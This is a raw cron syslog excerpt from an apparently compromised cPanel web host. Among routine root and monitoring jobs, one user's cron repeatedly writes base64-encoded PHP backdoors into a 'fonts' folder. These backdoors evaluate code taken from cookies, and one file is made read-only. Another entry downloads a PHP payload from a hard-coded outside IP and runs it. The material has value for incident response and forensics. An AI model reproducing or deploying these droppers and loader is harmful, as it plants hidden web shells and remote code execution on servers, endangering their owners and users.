Sep  6 03:42:01 ip-184-168-122-23 CROND[6333]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:42:01 ip-184-168-122-23 CROND[6335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:43:01 ip-184-168-122-23 CROND[6419]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:43:01 ip-184-168-122-23 CROND[6418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:43:01 ip-184-168-122-23 CROND[6420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:43:01 ip-184-168-122-23 CROND[6421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:44:01 ip-184-168-122-23 CROND[6498]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:44:01 ip-184-168-122-23 CROND[6499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:44:01 ip-184-168-122-23 CROND[6501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:44:01 ip-184-168-122-23 CROND[6502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:44:01 ip-184-168-122-23 CROND[6500]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:45:01 ip-184-168-122-23 CROND[6597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:45:01 ip-184-168-122-23 CROND[6600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:45:01 ip-184-168-122-23 CROND[6602]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 03:45:01 ip-184-168-122-23 CROND[6598]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 03:45:01 ip-184-168-122-23 CROND[6601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:45:01 ip-184-168-122-23 CROND[6599]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:46:01 ip-184-168-122-23 CROND[6774]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:46:01 ip-184-168-122-23 CROND[6779]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 03:46:01 ip-184-168-122-23 CROND[6776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:46:01 ip-184-168-122-23 CROND[6778]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 03:46:01 ip-184-168-122-23 CROND[6777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:46:01 ip-184-168-122-23 CROND[6780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:46:01 ip-184-168-122-23 CROND[6775]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:47:01 ip-184-168-122-23 CROND[6923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:47:01 ip-184-168-122-23 CROND[6925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:47:01 ip-184-168-122-23 CROND[6927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:47:01 ip-184-168-122-23 CROND[6928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:48:01 ip-184-168-122-23 CROND[7066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:48:01 ip-184-168-122-23 CROND[7068]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:48:01 ip-184-168-122-23 CROND[7067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:48:01 ip-184-168-122-23 CROND[7065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:48:01 ip-184-168-122-23 CROND[7069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:48:01 ip-184-168-122-23 anacron[1840]: Job `cron.daily' started
Sep  6 03:48:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[7081]: starting logrotate